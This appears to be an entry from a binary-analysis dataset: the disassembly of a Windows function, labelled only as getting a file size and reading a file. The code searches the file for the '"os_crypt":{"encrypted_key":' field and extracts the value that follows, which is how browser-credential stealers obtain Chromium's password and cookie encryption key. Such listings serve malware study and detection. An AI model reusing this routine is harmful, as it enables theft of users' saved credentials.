Function at 0x4034e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d36d3
mov eax, dword fs:[0]
push eax
sub esp, 0x4a4
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4a8], ecx
mov dword [ebp - 0x49c], 0
mov dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea ecx, [ebp + 0xc]
call fcn.00403e10
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0xffffffff
jne 0x403584
push 0
mov ecx, dword [ebp + 8]
call fcn.00404150
mov eax, dword [ebp - 0x49c]
or eax, 1
mov dword [ebp - 0x49c], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00403f20
mov eax, dword [ebp + 8]
jmp 0x4038fa
mov dword [ebp - 0x4ac], 0
push 0
mov ecx, dword [ebp - 0x498]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x48c], eax
mov edx, dword [ebp - 0x48c]
push edx
call fcn.004be0ec
add esp, 4
mov dword [ebp - 0x474], eax
push 0
lea eax, [ebp - 0x4ac]
push eax
mov ecx, dword [ebp - 0x48c]
push ecx
mov edx, dword [ebp - 0x474]
push edx
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 7
mov esi, str._os_crypt_:_encrypted_key_:
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x46c], 0
jmp 0x403611
mov ecx, dword [ebp - 0x46c]
add ecx, 1
mov dword [ebp - 0x46c], ecx
mov edx, dword [ebp - 0x48c]
sub edx, 0x1d
cmp dword [ebp - 0x46c], edx
jae 0x403773
mov byte [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2f], eax
mov dword [ebp - 0x2b], eax
mov dword [ebp - 0x27], eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov ecx, dword [ebp - 0x474]
add ecx, dword [ebp - 0x46c]
movsx edx, byte [ecx]
cmp edx, 0x22
jne 0x40376e
mov eax, dword [ebp - 0x474]
add eax, dword [ebp - 0x46c]
movsx ecx, byte [eax + 1]
cmp ecx, 0x6f
jne 0x40376e
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x46c]
movsx eax, byte [edx + 2]
cmp eax, 0x73
jne 0x40376e
mov dword [ebp - 0x478], 0
jmp 0x4036a6
mov ecx, dword [ebp - 0x478]
add ecx, 1
mov dword [ebp - 0x478], ecx
cmp dword [ebp - 0x478], 0x1c
jge 0x4036d0
mov edx, dword [ebp - 0x46c]
add edx, dword [ebp - 0x478]
mov eax, dword [ebp - 0x478]
mov ecx, dword [ebp - 0x474]
mov dl, byte [ecx + edx]
mov byte [ebp + eax - 0x30], dl
jmp 0x403697
lea eax, [ebp - 0x50]
mov dword [ebp - 0x484], eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x480], ecx
mov edx, dword [ebp - 0x480]
mov al, byte [edx]
mov byte [ebp - 0x46d], al
mov ecx, dword [ebp - 0x484]
cmp al, byte [ecx]
jne 0x403740
cmp byte [ebp - 0x46d], 0
je 0x403734
mov edx, dword [ebp - 0x480]
mov al, byte [edx + 1]
mov byte [ebp - 0x46e], al
mov ecx, dword [ebp - 0x484]
cmp al, byte [ecx + 1]
jne 0x403740
add dword [ebp - 0x480], 2
add dword [ebp - 0x484], 2
cmp byte [ebp - 0x46e], 0
jne 0x4036e2
mov dword [ebp - 0x4a0], 0
jmp 0x40374b
sbb edx, edx
or edx, 1
mov dword [ebp - 0x4a0], edx
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
jne 0x40376e
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x488], ecx
jmp 0x403773
jmp 0x403602
mov edx, dword [ebp - 0x488]
add edx, 0x1d
mov dword [ebp - 0x488], edx
mov byte [ebp - 0x450], 0
push 0x3ff
push 0
lea eax, [ebp - 0x44f]
push eax
call fcn.004b6f30
add esp, 0xc
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x490], ecx
mov dword [ebp - 0x494], 0
jmp 0x4037d5
mov edx, dword [ebp - 0x490]
add edx, 1
mov dword [ebp - 0x490], edx
mov eax, dword [ebp - 0x494]
add eax, 1
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x490]
cmp ecx, dword [ebp - 0x48c]
jae 0x40380c
cmp dword [ebp - 0x494], 0x400
jge 0x40380c
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x490]
mov eax, dword [ebp - 0x494]
mov cl, byte [edx]
mov byte [ebp + eax - 0x450], cl
jmp 0x4037b7
mov dword [ebp - 0x47c], 0
jmp 0x403827
mov edx, dword [ebp - 0x47c]
add edx, 1
mov dword [ebp - 0x47c], edx
cmp dword [ebp - 0x47c], 0x400
jge 0x403877
mov eax, dword [ebp - 0x47c]
movsx ecx, byte [ebp + eax - 0x450]
cmp ecx, 0x22
jne 0x403875
mov edx, dword [ebp - 0x47c]
mov dword [ebp - 0x4a4], edx
cmp dword [ebp - 0x4a4], 0x400
jae 0x403860
jmp 0x403865
call fcn.004b448a
mov eax, dword [ebp - 0x4a4]
mov byte [ebp + eax - 0x450], 0
jmp 0x403877
jmp 0x403818
mov ecx, dword [ebp - 0x474]
push ecx
call fcn.004bdc5d
add esp, 4
mov edx, dword [ebp - 0x498]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x468]
call fcn.00404150
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x468]
push ecx
mov ecx, dword [ebp - 0x4a8]
call fcn.00403eb0
mov edx, dword [ebp - 0x4a8]
push edx
mov ecx, dword [ebp + 8]
call fcn.00404210
mov eax, dword [ebp - 0x49c]
or eax, 1
mov dword [ebp - 0x49c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x468]
call fcn.00403f20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00403f20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret 0x1c